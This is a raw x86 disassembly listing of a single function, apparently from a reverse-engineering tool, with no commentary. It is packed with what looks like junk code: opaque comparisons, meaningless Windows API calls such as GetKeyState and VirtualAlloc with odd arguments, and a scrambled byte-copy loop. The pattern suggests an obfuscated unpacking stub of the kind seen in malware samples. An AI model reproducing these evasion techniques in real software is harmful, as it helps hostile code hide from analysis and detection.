mov ecx, dword [ebp - 0x110]
mov dword [ecx + edx*4], 0xfffffffe
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x4304f2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x6f65e790
mov byte [ebp - 9], al
jg 0x430528
cmp byte [ebp - 9], al
je 0x430537
push eax
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
jmp 0x430535
cmp byte [ebp - 9], al
je 0x430537
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
xor eax, eax
mov ecx, dword [ebp - 0x14]
dec dword [ebp - 0x14]
test ecx, ecx
jne 0x43054e
mov ecx, dword [ebp - 0x110]
cmp dword [ecx + 8], eax
jne 0x43054e
mov esi, eax
mov eax, dword [ebp - 8]
xor ecx, ecx
test eax, eax
sets cl
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0x2599
jle 0x430567
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
sub edx, eax
mov eax, dword [ebp - 0xa4]
neg edx
push 8
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, dword [eax + 8]
pop eax
setl cl
sub eax, ecx
xor ecx, ecx
cmp esi, eax
sete cl
mov dword [ebp - 8], ecx
lea ecx, [ebp - 0x110]
call fcn.0042f3fa
lea ecx, [ebp - 0xa4]
call fcn.0042f3fa
add ebx, dword [ebp - 0x28]
dec dword [ebp - 0x40]
push 0
mov dword [ebp - 0x10], ebx
pop esi
jne 0x430090
xor ebx, ebx
lea ecx, [ebp - 0x7c]
inc ebx
push ebx
call fcn.0042f328
mov dword [ebp - 0x18], 0x92ea21e1
lea ecx, [ebp - 0x128]
mov dword [ebp - 0x1c], 0xba80278e
push 3
call fcn.0042f328
xor eax, eax
mov dword [ebp - 0x28], 0x4ae8
mov dword [ebp - 8], eax
jmp 0x4305fd
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x7c]
mov dword [ecx + edx*4], ebx
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x4305f1
mov dword [ebp - 8], eax
jmp 0x43061a
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x128]
mov dword [ecx + edx*4], 0x5cfeb4e5
inc dword [ebp - 8]
cmp dword [ebp - 8], 3
jl 0x430607
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx]
test ecx, ecx
je 0x430632
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 8], 0x34ef9dea
mov dword [ebp - 0x14], 0x88c4b50
mov dword [ebp - 0x14], eax
jmp 0x430653
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0x3c], 0xa3888ad8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x430645
mov ecx, dword [ebp - 0x3c]
mov esi, eax
mov ecx, dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], eax
je 0x430667
mov esi, ebx
mov edx, dword [ebp - 0x3c]
xor ebx, ebx
mov ecx, dword [ebp - 0x1c]
cmp ecx, edx
mov edi, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x3c]
setg bl
sub ebx, esi
mov dword [ebp - 0x28], edi
add ebx, dword [edi + 8]
sub ebx, ecx
je 0x430770
mov dword [ebp - 0x14], eax
jmp 0x4306a0
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0x4c], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x430692
mov ecx, dword [ebp - 0x7c]
cmp dword [ecx], eax
je 0x4306b9
cmp dword [ebp - 0x4c], eax
je 0x4306b9
xor esi, esi
inc esi
mov edx, esi
jmp 0x4306be
xor esi, esi
mov edx, eax
inc esi
mov ecx, dword [ebp - 0x4c]
xor ebx, ebx
add ecx, edx
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 8]
cmp ecx, edx
mov ecx, dword [ebp - 0x18]
setge bl
xor edx, edx
cmp ebx, 0xffffffff
setg dl
imul ecx, edx
test ecx, ecx
je 0x4306e8
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x4c]
mov edx, 0xffff
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x7c]
cmp edx, dword [ecx]
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 8], eax
jne 0x430724
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx]
add ecx, ecx
jne 0x430720
cmp dword [ebp - 0x4c], eax
je 0x430724
mov edi, eax
jmp 0x430726
mov edi, esi
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov esi, dword [ebp - 0x28]
cmp edi, ecx
sete dl
xor ecx, ecx
mov esi, dword [esi + 8]
cmp esi, edx
setle cl
xor edi, edi
inc edi
cmp edi, ecx
sbb ecx, ecx
xor ebx, ebx
neg ecx
cmp ecx, esi
mov ecx, dword [ebp - 0x4c]
setne bl
xor edx, edx
cmp ebx, ecx
setl dl
cmp dword [ebp - 0x4c], edx
je 0x430763
cmp dword [ebp - 0x14], eax
je 0x430763
mov eax, edi
cmp eax, 0x81308fb8
sbb eax, eax
inc eax
mov dword [ebp - 0x28], eax
jmp 0x4307a4
mov dword [ebp - 0x14], 0xffffffe4
jmp 0x43078a
cmp byte [ebp - 9], 0
je 0x430787
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xf
mov byte [ebp - 9], al
jne 0x430779
cmp byte [ebp - 9], 0
je 0x4307a4
push 0x787
call dword [sym.imp.USER32.dll_GetKeyState]
lea ecx, [ebp - 0x128]
call fcn.0042f3fa
lea ecx, [ebp - 0x7c]
call fcn.0042f3fa
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebx]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x18], 0
jmp 0x4307d9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe8], 0x2eb9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x4307c8
inc dword [ebp - 0xe4]
mov byte [ebp - 9], 0
cmp byte [ebp - 9], 0
je 0x4307f7
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebx + 4]
mov dword [ebp - 8], 0x90ac204e
mov dword [ebp - 0x1c], 0x6559653e
mov dword [ebp - 0x18], 8
mov dword [ebp - 0x28], 0xfffffff9
mov dword [ebp - 0x24], eax
mov dword [ebp - 8], 0xffffffff
jmp 0x430846
mov byte [ebp - 9], 0
cmp byte [ebp - 9], 0
je 0x430843
push 0xb95
push 0xce5
push 0x10f5
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffed
jge 0x430822
mov eax, dword [ebp - 8]
xor edx, edx
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp ecx, eax
setle dl
imul edx, dword [ebp - 8]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
add eax, 0x36a5
jne 0x43087c
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x158]
mov eax, dword [ebp - 8]
xor esi, esi
mov eax, dword [ebp - 0x18]
inc esi
mov eax, dword [ebp - 0x18]
add ebx, 8
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 8], 0x30bc
push 2
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 8], esi
mov dword [ebp - 0x18], 0
call fcn.0042f328
xor eax, eax
mov dword [ebp - 8], eax
jmp 0x4308df
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x14c], 5
inc dword [ebp - 8]
cmp dword [ebp - 8], 3
jl 0x4308ce
mov dword [ebp - 8], eax
jmp 0x4308fa
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x158]
or dword [ecx + edx*4], 0xffffffff
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x4308ea
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xfffffff1
je 0x4309fd
xor edi, edi
inc edi
mov dword [ebp - 0x14], 0xcdea
mov dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x1c], 0xfffffffe
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x430938
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
xor eax, eax
mov edx, dword [ebp - 8]
xor ebx, ebx
mov ecx, dword [ebp - 8]
cmp edx, ecx
setge bl
sub ebx, dword [ebp - 0x14]
mov dword [ebp - 0x40], ebx
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x148], ecx
mov ecx, dword [ebp - 8]
cmp dword [ebp - 0x14c], eax
je 0x430966
mov ecx, edi
cmp dword [ebp - 0x40], eax
jne 0x430968
mov ecx, eax
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 0xffffffff
jb 0x430978
mov edx, eax
cmp dword [ebp - 0x14], eax
je 0x43097a
mov edx, edi
mov ecx, dword [ebp - 8]
xor ebx, ebx
cmp edx, ecx
mov ecx, dword [ebp - 0x14]
setge bl
xor edx, edx
cmp ebx, ecx
setge dl
sub edx, dword [ebp - 0x14]
jne 0x43099a
mov ecx, eax
cmp dword [ebp - 0x14], eax
je 0x43099c
mov ecx, edi
cmp dword [ebp - 8], ecx
jge 0x4309a8
mov esi, eax
cmp dword [ebp - 0x18], eax
je 0x4309aa
mov esi, edi
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp esi, ecx
mov ecx, dword [ebp - 8]
setle dl
xor ebx, ebx
cmp edx, ecx
mov ecx, dword [ebp - 0x14]
setle bl
xor edx, edx
cmp ecx, ebx
setne dl
add edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x28], edx
xor edx, edx
cmp dword [ebp - 0x28], ecx
setg dl
xor ecx, ecx
cmp edx, 0x606e
setl cl
mov dword [ebp - 0x18], ecx
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xfffffff1
jne 0x430910
mov edi, dword [ebp - 0x2c]
xor esi, esi
mov ebx, dword [ebp - 0x10]
inc esi
lea ecx, [ebp - 0x158]
call fcn.0042f3fa
cmp dword [ebp - 0x24], 0
jne 0x430ad2
cmp byte [ebp - 0x2d], 0
je 0x430a26
cmp dword [ebp - 0x38], esi
jne 0x430a26
mov ecx, dword [ebp + 8]
lea eax, [edi + 0x10]
add dword [ecx + 8], eax
mov eax, dword [ebx]
mov dword [ebp - 0x28], eax
mov eax, dword [ebx + 4]
add ebx, 8
push edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x10], ebx
call fcn.0046fa77
pop ecx
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0xa8]
xor esi, esi
push eax
push edi
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x5c], esi
call fcn.00461fb7
mov ebx, dword [ebp - 0x64]
xor ecx, ecx
test edi, edi
jle 0x430aaf
mov eax, esi
and eax, 0x80000001
jns 0x430a79
dec eax
or eax, 0xfffffffe
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x28]
add eax, esi
add eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x2c]
jmp 0x430a8e
lea eax, [edx + 1]
cdq
idiv edi
cmp word [ebx + edx*2], cx
jne 0x430a8b
xor eax, eax
inc eax
mov word [ebx + edx*2], ax
mov eax, dword [ebp - 0x10]
mov al, byte [edx + eax]
mov edx, dword [ebp - 0x1c]
mov byte [esi + edx], al
inc esi
cmp esi, edi
jl 0x430a6b
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x1c]
mov dword [edx], edi
mov dword [edx + 4], eax
test ebx, ebx
je 0x430ad7
push ebx
call fcn.00472416
pop ecx
xor ecx, ecx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], ecx
jmp 0x430ad4
xor ecx, ecx
mov edx, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x10], 0xee76f502
mov dword [ebp + 8], ecx
inc ebx
jmp 0x430af3
mov eax, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x98], ebx
inc dword [ebp + 8]
cmp dword [ebp + 8], ebx
jl 0x430ae6
mov dword [ebp - 0x10], ecx
jmp 0x430b27
mov dword [ebp + 8], 0xfab8c3ad
mov dword [ebp + 8], ecx
jmp 0x430b1a
mov eax, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x98], 0x3152
inc dword [ebp + 8]
cmp dword [ebp + 8], ebx
jl 0x430b09
cmp dword [ebp - 0x10], ecx
jne 0x430b2c
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jle 0x430afd
pop edi
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret